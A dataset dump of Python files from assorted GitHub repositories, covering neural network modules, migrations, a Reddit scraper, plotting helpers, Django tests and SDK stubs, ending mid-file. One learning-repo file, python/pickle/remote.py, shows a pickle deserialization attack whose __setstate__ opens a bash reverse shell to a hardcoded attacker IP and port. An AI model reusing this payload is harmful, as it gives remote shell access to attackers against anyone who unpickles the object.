:param residual... | 28.613636 | 119 | 0.581414 | import torch.nn as nn
class Residual(nn.Module):
def __init__(self,
module,
residual_index=None,
model_output_key=None):
super(Residual, self).__init__()
self._module = module
self._residual_index = residual_index
self._model_ou... | true | true |
f77653588ba8889cf74584e89068412cf653b100 | 266 | py | Python | src/Python3/Q115251/exsample.py | umyuu/Sample | 66e8cd725b682db4c9bf93fb80786eea8cbad19d | [
"MIT"
] | null | null | null | src/Python3/Q115251/exsample.py | umyuu/Sample | 66e8cd725b682db4c9bf93fb80786eea8cbad19d | [
"MIT"
] | null | null | null | src/Python3/Q115251/exsample.py | umyuu/Sample | 66e8cd725b682db4c9bf93fb80786eea8cbad19d | [
"MIT"
] | null | null | null | # -*- coding: utf8 -*-
def mufunc(end=25, multiple=2, non_multiple=5):
for i in range(0, end + 1, multiple):
if i % non_multiple:
yield i
def main() -> None:
for i in mufunc():
print(i)
if __name__ == '__main__':
main()
| 15.647059 | 47 | 0.533835 |
def mufunc(end=25, multiple=2, non_multiple=5):
for i in range(0, end + 1, multiple):
if i % non_multiple:
yield i
def main() -> None:
for i in mufunc():
print(i)
if __name__ == '__main__':
main()
| true | true |
f776538d6282674313ee6dc35b608e379b9e103d | 462 | py | Python | python/pickle/remote.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/pickle/remote.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/pickle/remote.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | import pickle
import os
class foobar:
def __init__(self):
pass
def __getstate__(self):
return self.__dict__
def __setstate__(self, state):
# The attack is from 192.168.1.10
# The attacker is listening on port 8080
os.system('/bin/bash -c "/bin/bash -... | 22 | 83 | 0.621212 | import pickle
import os
class foobar:
def __init__(self):
pass
def __getstate__(self):
return self.__dict__
def __setstate__(self, state):
os.system('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.1681.10/8080 0>&1"')
my_foobar = foobar()
my_pickle =... | true | true |
f77653aa601f3270c5c37286cfa69e3b450fd096 | 3,123 | py | Python | migrations/versions/a64da1ebfca1_initial_migration.py | kode-ai/capson | 3b5175aeb38807bbbe9ae3bc6b7824c492f75d8f | [
"MIT"
] | null | null | null | migrations/versions/a64da1ebfca1_initial_migration.py | kode-ai/capson | 3b5175aeb38807bbbe9ae3bc6b7824c492f75d8f | [
"MIT"
] | 4 | 2019-10-30T10:57:41.000Z | 2019-10-30T10:57:48.000Z | migrations/versions/a64da1ebfca1_initial_migration.py | kode-ai/capson | 3b5175aeb38807bbbe9ae3bc6b7824c492f75d8f | [
"MIT"
] | null | null | null | """Initial Migration
Revision ID: a64da1ebfca1
Revises:
Create Date: 2019-10-30 13:08:16.202856
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = 'a64da1ebfca1'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto ... | 36.313953 | 82 | 0.65578 | from alembic import op
import sqlalchemy as sa
revision = 'a64da1ebfca1'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
op.create_table('users',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('username', sa.String(length=40), nullable=True),
sa.Column('email... | true | true |
f77654c6911e68165b1c29ae919e6f411faba974 | 7,120 | py | Python | popper/core.py | logic-and-learning-lab/aaai22-dcc | e2176545f222fd0fe4788297f5448f278c46e440 | [
"MIT"
] | null | null | null | popper/core.py | logic-and-learning-lab/aaai22-dcc | e2176545f222fd0fe4788297f5448f278c46e440 | [
"MIT"
] | null | null | null | popper/core.py | logic-and-learning-lab/aaai22-dcc | e2176545f222fd0fe4788297f5448f278c46e440 | [
"MIT"
] | null | null | null | from collections import namedtuple, defaultdict
ConstVar = namedtuple('ConstVar', ['name', 'type'])
ConstOpt = namedtuple('ConstOpt', ['operator', 'arguments', 'operation'])
class Grounding:
@staticmethod
# IMPROVE/REFACTOR
def ground_literal(literal, assignment):
ground_args = []
for arg ... | 35.778894 | 121 | 0.541854 | from collections import namedtuple, defaultdict
ConstVar = namedtuple('ConstVar', ['name', 'type'])
ConstOpt = namedtuple('ConstOpt', ['operator', 'arguments', 'operation'])
class Grounding:
@staticmethod
def ground_literal(literal, assignment):
ground_args = []
for arg in literal.argument... | true | true |
f77655181f8ee2a1b30dabb373e40d152ac7111f | 25,479 | py | Python | gamestonk_terminal/behavioural_analysis/reddit_view.py | JoaoVicente129/GamestonkTerminal | 5f744f8ff3f034e436d0629fb530ffd41b86e6d9 | [
"MIT"
] | null | null | null | gamestonk_terminal/behavioural_analysis/reddit_view.py | JoaoVicente129/GamestonkTerminal | 5f744f8ff3f034e436d0629fb530ffd41b86e6d9 | [
"MIT"
] | null | null | null | gamestonk_terminal/behavioural_analysis/reddit_view.py | JoaoVicente129/GamestonkTerminal | 5f744f8ff3f034e436d0629fb530ffd41b86e6d9 | [
"MIT"
] | null | null | null | import argparse
import warnings
import pandas as pd
from prawcore.exceptions import ResponseException
from requests import HTTPError
from psaw import PushshiftAPI
import praw
import finviz
from gamestonk_terminal.helper_funcs import check_positive, parse_known_args_and_warn
from gamestonk_terminal import config_termina... | 35.734923 | 116 | 0.50626 | import argparse
import warnings
import pandas as pd
from prawcore.exceptions import ResponseException
from requests import HTTPError
from psaw import PushshiftAPI
import praw
import finviz
from gamestonk_terminal.helper_funcs import check_positive, parse_known_args_and_warn
from gamestonk_terminal import config_termina... | true | true |
f776555c9677ca2dc77367a5bff12c2702194f41 | 1,061 | py | Python | examples/siha/very_active_minutes_dataset.py | qcri/tasrif | 327bc1eccb8f8e11d8869ba65a7c72ad038aa094 | [
"BSD-3-Clause"
] | 20 | 2021-12-06T10:41:54.000Z | 2022-03-13T16:25:43.000Z | examples/siha/very_active_minutes_dataset.py | qcri/tasrif | 327bc1eccb8f8e11d8869ba65a7c72ad038aa094 | [
"BSD-3-Clause"
] | 33 | 2021-12-06T08:27:18.000Z | 2022-03-14T05:07:53.000Z | examples/siha/very_active_minutes_dataset.py | qcri/tasrif | 327bc1eccb8f8e11d8869ba65a7c72ad038aa094 | [
"BSD-3-Clause"
] | 2 | 2022-02-07T08:06:48.000Z | 2022-02-14T07:13:42.000Z | """Example on how to read sleep data from SIHA
"""
import os
from tasrif.data_readers.siha_dataset import SihaDataset
from tasrif.processing_pipeline import SequenceOperator
from tasrif.processing_pipeline.custom import JqOperator
from tasrif.processing_pipeline.pandas import (
AsTypeOperator,
ConvertToDatetim... | 27.205128 | 82 | 0.704053 | import os
from tasrif.data_readers.siha_dataset import SihaDataset
from tasrif.processing_pipeline import SequenceOperator
from tasrif.processing_pipeline.custom import JqOperator
from tasrif.processing_pipeline.pandas import (
AsTypeOperator,
ConvertToDatetimeOperator,
JsonNormalizeOperator,
SetIndexO... | true | true |
f776567ce6b0cd1205d8abea3c3bbab2badca824 | 2,294 | py | Python | tacotron/utils/plot.py | wann31828/Tacotron-2 | d7161f950cd42c7a7fd36ec2aaac19ba60567876 | [
"MIT"
] | 168 | 2018-04-13T03:53:04.000Z | 2022-03-28T06:09:13.000Z | tacotron/utils/plot.py | wann31828/Tacotron-2 | d7161f950cd42c7a7fd36ec2aaac19ba60567876 | [
"MIT"
] | 11 | 2019-06-22T07:33:58.000Z | 2021-04-08T07:17:29.000Z | tacotron/utils/plot.py | wann31828/Tacotron-2 | d7161f950cd42c7a7fd36ec2aaac19ba60567876 | [
"MIT"
] | 67 | 2018-04-13T13:02:29.000Z | 2022-01-13T08:20:49.000Z | import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import numpy as np
def split_title_line(title_text, max_words=5):
"""
A function that splits any string based on specific character
(returning it with the string), with maximum number of words on it
"""
seq = title_text.split()
return '\n'... | 27.97561 | 133 | 0.72755 | import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
import numpy as np
def split_title_line(title_text, max_words=5):
seq = title_text.split()
return '\n'.join([' '.join(seq[i:i + max_words]) for i in range(0, len(seq), max_words)])
def plot_alignment(alignment, path, info=None, split_title=Fa... | true | true |
f77656ec57179432f9b79c586bcc3e6d238ace70 | 1,596 | py | Python | web/blog/migrations/0001_initial.py | un-project/un-project.org | c885e4b622043ec4748b817db604bec846a98ea3 | [
"MIT"
] | null | null | null | web/blog/migrations/0001_initial.py | un-project/un-project.org | c885e4b622043ec4748b817db604bec846a98ea3 | [
"MIT"
] | null | null | null | web/blog/migrations/0001_initial.py | un-project/un-project.org | c885e4b622043ec4748b817db604bec846a98ea3 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.9.8 on 2016-08-28 21:34
from __future__ import unicode_literals
from django.db import migrations, models
from markupfield.fields import MarkupField
class Migration(migrations.Migration):
initial = True
dependencies = []
operations = [
migrations.... | 33.957447 | 91 | 0.5 | from __future__ import unicode_literals
from django.db import migrations, models
from markupfield.fields import MarkupField
class Migration(migrations.Migration):
initial = True
dependencies = []
operations = [
migrations.CreateModel(
name="Post",
fields=[
... | true | true |
f776572d858d66ef449ae7b0aea9e6734889d291 | 1,425 | py | Python | testing_demos/testing_demos/__init__.py | Minkov/python-web-framework-demos- | 30f39de0b4344e1b7e5d4cf96f6d6bbbfe867305 | [
"MIT"
] | 2 | 2022-03-06T11:56:35.000Z | 2022-03-20T09:31:45.000Z | testing_demos/testing_demos/__init__.py | Minkov/python-web-framework-demos- | 30f39de0b4344e1b7e5d4cf96f6d6bbbfe867305 | [
"MIT"
] | null | null | null | testing_demos/testing_demos/__init__.py | Minkov/python-web-framework-demos- | 30f39de0b4344e1b7e5d4cf96f6d6bbbfe867305 | [
"MIT"
] | 4 | 2022-03-17T18:05:19.000Z | 2022-03-22T16:38:11.000Z | from django.core.exceptions import ValidationError
'''
# (Developers) Tests where environment/lang matters (if Django => tests in python)
1. Unit tests -> concrete isolated piece of code
2. Integration tests -> integration of coupled pieces of code
# Tests where environment/lang does NOT matter
3. (QAs) API tests ->... | 20.070423 | 82 | 0.665263 | from django.core.exceptions import ValidationError
def validate_greater_than_zero(value):
if value <= 0:
raise ValidationError('Value must be greater than 0')
def get_only_positive_values(values):
positive_values = []
for value in values:
try:
validate_greater_than_zero(... | true | true |
f77657eb35919eaa78b74882ce87ac50529e80ae | 411 | py | Python | authors/apps/profiles/migrations/0004_profile_arefollowing.py | james-chege/ah-shakas | d1ed11097bd1f9e9cf1b867a0b29909df6262cf0 | [
"BSD-3-Clause"
] | null | null | null | authors/apps/profiles/migrations/0004_profile_arefollowing.py | james-chege/ah-shakas | d1ed11097bd1f9e9cf1b867a0b29909df6262cf0 | [
"BSD-3-Clause"
] | null | null | null | authors/apps/profiles/migrations/0004_profile_arefollowing.py | james-chege/ah-shakas | d1ed11097bd1f9e9cf1b867a0b29909df6262cf0 | [
"BSD-3-Clause"
] | null | null | null | # Generated by Django 2.1.2 on 2018-11-23 08:14
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('profiles', '0003_remove_profile_followed'),
]
operations = [
migrations.AddField(
model_name='profile',
name='arefol... | 21.631579 | 64 | 0.615572 |
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('profiles', '0003_remove_profile_followed'),
]
operations = [
migrations.AddField(
model_name='profile',
name='arefollowing',
field=models.ManyToManyFiel... | true | true |
f776593e696093db7c75245bbf686ba3802f31f7 | 911 | py | Python | swagger_client_test/test_pn_l_curve.py | kovacicek/fiddleoptions | 43e3517046fb4c47d3284d357e75099e81f861b7 | [
"MIT"
] | null | null | null | swagger_client_test/test_pn_l_curve.py | kovacicek/fiddleoptions | 43e3517046fb4c47d3284d357e75099e81f861b7 | [
"MIT"
] | null | null | null | swagger_client_test/test_pn_l_curve.py | kovacicek/fiddleoptions | 43e3517046fb4c47d3284d357e75099e81f861b7 | [
"MIT"
] | null | null | null | # coding: utf-8
"""
Fiddle Options Platform
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
... | 22.219512 | 119 | 0.699232 |
from __future__ import absolute_import
import unittest
import swagger_client
from swagger_client.mercury.client.model.pn_l_curve import PnLCurve from swagger_client.rest import ApiException
class TestPnLCurve(unittest.TestCase):
def setUp(self):
pass
def tearDown(self):
pass
def t... | true | true |
f77659a114fe88269fe80bc1499addbaec599a89 | 13,665 | py | Python | classification_models_3D/models/inception_resnet_v2.py | alxndrkalinin/classification_models_3D | 4ae9f231619a80f5c654dc26a6194413ba9e875f | [
"MIT"
] | 46 | 2020-08-10T11:56:16.000Z | 2022-03-22T06:38:03.000Z | classification_models_3D/models/inception_resnet_v2.py | alxndrkalinin/classification_models_3D | 4ae9f231619a80f5c654dc26a6194413ba9e875f | [
"MIT"
] | 5 | 2021-01-14T05:37:02.000Z | 2021-12-23T17:03:53.000Z | classification_models_3D/models/inception_resnet_v2.py | alxndrkalinin/classification_models_3D | 4ae9f231619a80f5c654dc26a6194413ba9e875f | [
"MIT"
] | 8 | 2020-11-13T22:34:23.000Z | 2022-02-08T15:46:05.000Z | """Inception-ResNet V2 model for Keras.
Model naming and structure follows TF-slim implementation
(which has some additional layers and different number of
filters from the original arXiv paper):
https://github.com/tensorflow/models/blob/master/research/slim/nets/inception_resnet_v2.py
Pre-trained ImageNet weights ar... | 40.309735 | 90 | 0.599415 | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
from .. import get_submodules_from_kwargs
from keras_applications import imagenet_utils
backend = None
layers = None
models = None
keras_utils = None
def preprocess_input(x, **kwargs):
return ... | true | true |
f77659aa86ae0e9877aa8470af1ce200753d699e | 10,069 | py | Python | concurrent_thread_taomm.py | ygsun/async | b104c1077822112fbf1dc7ab47b80372d017b6c9 | [
"BSD-3-Clause"
] | null | null | null | concurrent_thread_taomm.py | ygsun/async | b104c1077822112fbf1dc7ab47b80372d017b6c9 | [
"BSD-3-Clause"
] | null | null | null | concurrent_thread_taomm.py | ygsun/async | b104c1077822112fbf1dc7ab47b80372d017b6c9 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python3
"""
Python version: > 2.5
Dependence: requests BeautifulSoup
线程版本
爬虫类
从淘女郎网站(https://mm.taobao.com)获取图片链接并下载,按照地区、相册名、姓名分类
"""
import contextlib
import threading
import os
import re
import requests
import time
import json
import argparse
import logging
from bs4 import BeautifulSoup
# 第一页
FIR... | 28.524079 | 116 | 0.59271 |
import contextlib
import threading
import os
import re
import requests
import time
import json
import argparse
import logging
from bs4 import BeautifulSoup
FIRST_PAGE = 1
user_list = 'https://mm.taobao.com/json/request_top_list.htm?page={}'
user_info = 'https://mm.taobao.com/self/info/model_info_show.htm?user_id={... | true | true |
f7765a77045e98aa4a1c1b8e5d3e26f3181e7964 | 2,225 | py | Python | year_2021/day_05_2021.py | TheTomcat/AdventOfCode | bb81a46f7064bd69e924a0b58e6c5e0cc450e102 | [
"MIT"
] | null | null | null | year_2021/day_05_2021.py | TheTomcat/AdventOfCode | bb81a46f7064bd69e924a0b58e6c5e0cc450e102 | [
"MIT"
] | null | null | null | year_2021/day_05_2021.py | TheTomcat/AdventOfCode | bb81a46f7064bd69e924a0b58e6c5e0cc450e102 | [
"MIT"
] | null | null | null | from typing import List
from collections import defaultdict
from util.console import console
from util.helpers import solution_timer
from util.input_helper import read_entire_input
data = read_entire_input(2021,5)
test = """0,9 -> 5,9
8,0 -> 0,8
9,4 -> 3,4
2,2 -> 2,1
7,0 -> 7,4
6,4 -> 2,0
0,9 -> 2,9
3,4 -> 1,4
0,0 -... | 26.488095 | 64 | 0.564045 | from typing import List
from collections import defaultdict
from util.console import console
from util.helpers import solution_timer
from util.input_helper import read_entire_input
data = read_entire_input(2021,5)
test = """0,9 -> 5,9
8,0 -> 0,8
9,4 -> 3,4
2,2 -> 2,1
7,0 -> 7,4
6,4 -> 2,0
0,9 -> 2,9
3,4 -> 1,4
0,0 -... | true | true |
f7765b161088ccf38f42519b55dcfab8031e1f58 | 10,027 | py | Python | generated/nidmm/nidmm/_converters.py | phindman/nimi-python | 8428334e2b49645fa5d452349825e317c20f09c7 | [
"MIT"
] | null | null | null | generated/nidmm/nidmm/_converters.py | phindman/nimi-python | 8428334e2b49645fa5d452349825e317c20f09c7 | [
"MIT"
] | null | null | null | generated/nidmm/nidmm/_converters.py | phindman/nimi-python | 8428334e2b49645fa5d452349825e317c20f09c7 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# This file was generated
import nidmm._visatype as _visatype
import nidmm.errors as errors
import array
import collections
import hightime
import numbers
from functools import singledispatch
@singledispatch
def _convert_repeated_capabilities(arg, prefix): # noqa: F811
'''Base version t... | 36.863971 | 150 | 0.670789 | import nidmm._visatype as _visatype
import nidmm.errors as errors
import array
import collections
import hightime
import numbers
from functools import singledispatch
@singledispatch
def _convert_repeated_capabilities(arg, prefix): raise errors.InvalidRepeatedCapabilityError('Invalid type', type(arg))
@_conve... | true | true |
f7765b44685d0e40e019c24f83005d56bf47226e | 1,530 | py | Python | super_moite_moite/forms.py | amin-da71/Benbb96 | 0c9e37425d0665e403ba6fecf0c4b17669c29ada | [
"MIT"
] | null | null | null | super_moite_moite/forms.py | amin-da71/Benbb96 | 0c9e37425d0665e403ba6fecf0c4b17669c29ada | [
"MIT"
] | 13 | 2021-02-13T20:15:18.000Z | 2022-03-11T23:57:07.000Z | super_moite_moite/forms.py | amin-da71/Benbb96 | 0c9e37425d0665e403ba6fecf0c4b17669c29ada | [
"MIT"
] | null | null | null | from django import forms
from django.core.exceptions import ValidationError
from django_select2.forms import ModelSelect2MultipleWidget
from base.models import Profil
from base.widgets import FirebaseUploadWidget
from super_moite_moite.models import Tache, Logement
class LogementForm(forms.ModelForm):
class Meta... | 32.553191 | 101 | 0.612418 | from django import forms
from django.core.exceptions import ValidationError
from django_select2.forms import ModelSelect2MultipleWidget
from base.models import Profil
from base.widgets import FirebaseUploadWidget
from super_moite_moite.models import Tache, Logement
class LogementForm(forms.ModelForm):
class Meta... | true | true |
f7765bcf695e14bb56261f81acc8e4410577d7ab | 61 | py | Python | notebooks/_solutions/case-curieuzeneuzen-air-quality41.py | jorisvandenbossche/DS-python-geospatial | 893a12edc5c203a75815f6dcb5f1e18c577c8cd5 | [
"BSD-3-Clause"
] | 58 | 2020-10-09T10:10:59.000Z | 2022-03-07T14:58:07.000Z | notebooks/_solutions/case-curieuzeneuzen-air-quality41.py | jorisvandenbossche/DS-python-geospatial | 893a12edc5c203a75815f6dcb5f1e18c577c8cd5 | [
"BSD-3-Clause"
] | 24 | 2020-09-30T19:57:14.000Z | 2021-10-05T07:21:09.000Z | notebooks/_solutions/case-curieuzeneuzen-air-quality41.py | jorisvandenbossche/DS-python-geospatial | 893a12edc5c203a75815f6dcb5f1e18c577c8cd5 | [
"BSD-3-Clause"
] | 19 | 2020-10-05T09:32:18.000Z | 2022-03-20T00:09:14.000Z | subset = gdf[gdf["land_use_class"].isin(frequent_categories)] | 61 | 61 | 0.803279 | subset = gdf[gdf["land_use_class"].isin(frequent_categories)] | true | true |
f7765c0384cf92828fabad6516588d76d0f07caa | 2,396 | py | Python | modules/calib3d/misc/python/test/test_solvepnp.py | suryakantpandey/opencv | 2a52e44bc605bf73502dee0e0e3954bcda19a246 | [
"BSD-3-Clause"
] | 56,632 | 2016-07-04T16:36:08.000Z | 2022-03-31T18:38:14.000Z | modules/calib3d/misc/python/test/test_solvepnp.py | suryakantpandey/opencv | 2a52e44bc605bf73502dee0e0e3954bcda19a246 | [
"BSD-3-Clause"
] | 13,593 | 2016-07-04T13:59:03.000Z | 2022-03-31T21:04:51.000Z | modules/calib3d/misc/python/test/test_solvepnp.py | suryakantpandey/opencv | 2a52e44bc605bf73502dee0e0e3954bcda19a246 | [
"BSD-3-Clause"
] | 54,986 | 2016-07-04T14:24:38.000Z | 2022-03-31T22:51:18.000Z | #!/usr/bin/env python
# Python 2/3 compatibility
from __future__ import print_function
import numpy as np
import cv2 as cv
from tests_common import NewOpenCVTests
class solvepnp_test(NewOpenCVTests):
def test_regression_16040(self):
obj_points = np.array([[0, 0, 0], [0, 1, 0], [1, 1, 0], [1, 0, 0]], dty... | 36.861538 | 151 | 0.558013 | from __future__ import print_function
import numpy as np
import cv2 as cv
from tests_common import NewOpenCVTests
class solvepnp_test(NewOpenCVTests):
def test_regression_16040(self):
obj_points = np.array([[0, 0, 0], [0, 1, 0], [1, 1, 0], [1, 0, 0]], dtype=np.float32)
img_points = np.array(
... | true | true |
f7765cddfe385d7b76e22b5417c84c525dcbf192 | 713 | py | Python | q5_replace.py | RitRa/MPP---Assignment-2 | ec696636a6576bbb7178f158b4e52aeb9e52cf8c | [
"MIT"
] | null | null | null | q5_replace.py | RitRa/MPP---Assignment-2 | ec696636a6576bbb7178f158b4e52aeb9e52cf8c | [
"MIT"
] | null | null | null | q5_replace.py | RitRa/MPP---Assignment-2 | ec696636a6576bbb7178f158b4e52aeb9e52cf8c | [
"MIT"
] | null | null | null | # 5. Replace a given character with ’*’ Given a string, and a character to replace,
# return a string where each occurance of the character is replaced with ’*’.
# takes in sentence, old char, new character
def replaceChar(sentence, old, new):
# check if the sentence is empty
if sentence == '':
return ... | 29.708333 | 84 | 0.671809 |
def replaceChar(sentence, old, new):
if sentence == '':
return ''
if sentence[0] == old:
return new + replaceChar(sentence[1:], old, new)
return sentence[0] + replaceChar(sentence[1:], old, new)
sentence = "Hello world"
old = 'o'
new = '*'
print(replaceChar("Hello world", 'o', '*... | true | true |
f7765cdf75e545d331bb968dde5df6d9ca9f04f5 | 2,880 | py | Python | networking_brocade/vyatta/common/exceptions.py | brocade-vrouter/vrouter-plugins | 0637fb4e18c9969bc2b4ea8c3ed349495f3e66c4 | [
"Apache-2.0"
] | null | null | null | networking_brocade/vyatta/common/exceptions.py | brocade-vrouter/vrouter-plugins | 0637fb4e18c9969bc2b4ea8c3ed349495f3e66c4 | [
"Apache-2.0"
] | null | null | null | networking_brocade/vyatta/common/exceptions.py | brocade-vrouter/vrouter-plugins | 0637fb4e18c9969bc2b4ea8c3ed349495f3e66c4 | [
"Apache-2.0"
] | null | null | null | # Copyright 2015 Brocade Communications System, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#... | 33.882353 | 78 | 0.742708 |
from neutron.common import exceptions
class CorruptedSystemError(exceptions.NeutronException):
message = _('System contain conflicts: %(description)s.')
class VRouterConnectFailure(exceptions.NeutronException):
message = _("Couldn't connect to Vyatta vRouter [%(ip_address)s].")
class VRouterOperationErro... | true | true |
f7765da19fe466e0710493b099e013d9eeef5940 | 2,763 | py | Python | test/algorithms/test_cplex_optimizer.py | renier/qiskit-optimization | 4eab3c0c678864a1b39adb55d00d632fbef74f1b | [
"Apache-2.0"
] | null | null | null | test/algorithms/test_cplex_optimizer.py | renier/qiskit-optimization | 4eab3c0c678864a1b39adb55d00d632fbef74f1b | [
"Apache-2.0"
] | null | null | null | test/algorithms/test_cplex_optimizer.py | renier/qiskit-optimization | 4eab3c0c678864a1b39adb55d00d632fbef74f1b | [
"Apache-2.0"
] | null | null | null | # This code is part of Qiskit.
#
# (C) Copyright IBM 2018, 2021.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.
#
# Any modifications or derivat... | 33.695122 | 90 | 0.67861 |
import unittest
from test.optimization_test_case import QiskitOptimizationTestCase, requires_extra_library
import numpy as np
from ddt import data, ddt
from qiskit_optimization.algorithms import CplexOptimizer, OptimizationResultStatus
from qiskit_optimization.problems import QuadraticProgram
@ddt
class TestCplex... | true | true |
f7765e07fac604c70a423749a00e43eb4fc7c5cb | 661 | py | Python | renovation_core/renovation_dashboard_def/doctype/renovation_dashboard_layout/renovation_dashboard_layout.py | Abadulrehman/renovation_core | 2cb015ec1832ceb6076e20914f504a1049d7a736 | [
"MIT"
] | 18 | 2020-04-12T20:40:41.000Z | 2022-03-09T13:50:59.000Z | renovation_core/renovation_dashboard_def/doctype/renovation_dashboard_layout/renovation_dashboard_layout.py | Abadulrehman/renovation_core | 2cb015ec1832ceb6076e20914f504a1049d7a736 | [
"MIT"
] | 28 | 2020-04-21T13:24:28.000Z | 2021-11-03T12:23:01.000Z | renovation_core/renovation_dashboard_def/doctype/renovation_dashboard_layout/renovation_dashboard_layout.py | Abadulrehman/renovation_core | 2cb015ec1832ceb6076e20914f504a1049d7a736 | [
"MIT"
] | 16 | 2020-04-12T20:31:50.000Z | 2022-01-30T12:19:45.000Z | # -*- coding: utf-8 -*-
# Copyright (c) 2019, LEAM Technology System and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
from frappe.utils import cint
class RenovationDashboardLayout(Document):
def val... | 30.045455 | 76 | 0.732224 |
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
from frappe.utils import cint
class RenovationDashboardLayout(Document):
def validate(self):
self.validate_roles()
def validate_roles(self):
if not self.get("is_user_custom") and len(self.get("roles")) == ... | true | true |
f7765e651fcb892babf3f13db3cb7e86dcd118dc | 12,279 | py | Python | experiments/make_charts.py | jrkoenig/folseparators | 7b35a1e5fc27709adcc647528bf8820201408966 | [
"Apache-2.0"
] | 1 | 2020-07-25T05:14:01.000Z | 2020-07-25T05:14:01.000Z | experiments/make_charts.py | jrkoenig/folseparators | 7b35a1e5fc27709adcc647528bf8820201408966 | [
"Apache-2.0"
] | null | null | null | experiments/make_charts.py | jrkoenig/folseparators | 7b35a1e5fc27709adcc647528bf8820201408966 | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 Stanford University
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writ... | 37.435976 | 142 | 0.582051 |
import argparse, random, json, os
import numpy as np
import pandas as pd
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
import seaborn as sns
from collections import Counter
from typing import *
import typing
def int_bins(x: List[int]) -> List[float]:
l,h = min(x),max(x)
return ... | true | true |
f7765e77beff1650bb4f9af43e9011b761668596 | 1,757 | py | Python | wemake_python_styleguide/visitors/ast/annotations.py | KJagiela/wemake-python-styleguide | ef8c58a7bbc17179bbbe09bbfdfb5c357b886450 | [
"MIT"
] | 1 | 2020-05-21T17:58:52.000Z | 2020-05-21T17:58:52.000Z | wemake_python_styleguide/visitors/ast/annotations.py | amansr02/wemake-python-styleguide | 681035ed21fbe28ebfb32b8807b98e8de76b64aa | [
"MIT"
] | 119 | 2019-07-22T11:24:56.000Z | 2021-04-19T12:04:16.000Z | wemake_python_styleguide/visitors/ast/annotations.py | amansr02/wemake-python-styleguide | 681035ed21fbe28ebfb32b8807b98e8de76b64aa | [
"MIT"
] | 1 | 2021-02-14T06:00:44.000Z | 2021-02-14T06:00:44.000Z | import ast
from typing_extensions import final
from wemake_python_styleguide.types import AnyFunctionDef
from wemake_python_styleguide.violations.consistency import (
MultilineFunctionAnnotationViolation,
)
from wemake_python_styleguide.visitors.base import BaseNodeVisitor
from wemake_python_styleguide.visitors.d... | 29.779661 | 78 | 0.676153 | import ast
from typing_extensions import final
from wemake_python_styleguide.types import AnyFunctionDef
from wemake_python_styleguide.violations.consistency import (
MultilineFunctionAnnotationViolation,
)
from wemake_python_styleguide.visitors.base import BaseNodeVisitor
from wemake_python_styleguide.visitors.d... | true | true |
f7765f4eb1150d3acbf018775e39a64d2f410c1d | 1,144 | py | Python | textblob/download_corpora.py | thachp/TextBlob | 75d983fc798528dc3c8633efcfb031ae191752d1 | [
"MIT"
] | 1 | 2020-11-28T10:42:08.000Z | 2020-11-28T10:42:08.000Z | textblob/download_corpora.py | thachp/TextBlob | 75d983fc798528dc3c8633efcfb031ae191752d1 | [
"MIT"
] | null | null | null | textblob/download_corpora.py | thachp/TextBlob | 75d983fc798528dc3c8633efcfb031ae191752d1 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Downloads the necessary NLTK corpora for TextBlob.
Usage: ::
$ python -m textblob.download_corpora
If you only intend to use TextBlob's default models, you can use the "lite"
option: ::
$ python -m textblob.download_corpora lite
"""
import sys
from textblob.... | 21.584906 | 75 | 0.671329 | import sys
from textblob.packages import nltk
MIN_CORPORA = [
'brown', 'punkt', 'wordnet' ]
ADDITIONAL_CORPORA = [
'conll2000', 'maxent_treebank_pos_tagger', 'movie_reviews', ]
ALL_CORPORA = MIN_CORPORA + ADDITIONAL_CORPORA
def download_lite():
for each in MIN_CORPORA:
print... | true | true |
f7766111bf4017b69c1d9822534060f62180e523 | 5,599 | py | Python | sdk/python/pulumi_azure_native/logic/latest/list_workflow_callback_url.py | pulumi-bot/pulumi-azure-native | f7b9490b5211544318e455e5cceafe47b628e12c | [
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure_native/logic/latest/list_workflow_callback_url.py | pulumi-bot/pulumi-azure-native | f7b9490b5211544318e455e5cceafe47b628e12c | [
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_azure_native/logic/latest/list_workflow_callback_url.py | pulumi-bot/pulumi-azure-native | f7b9490b5211544318e455e5cceafe47b628e12c | [
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
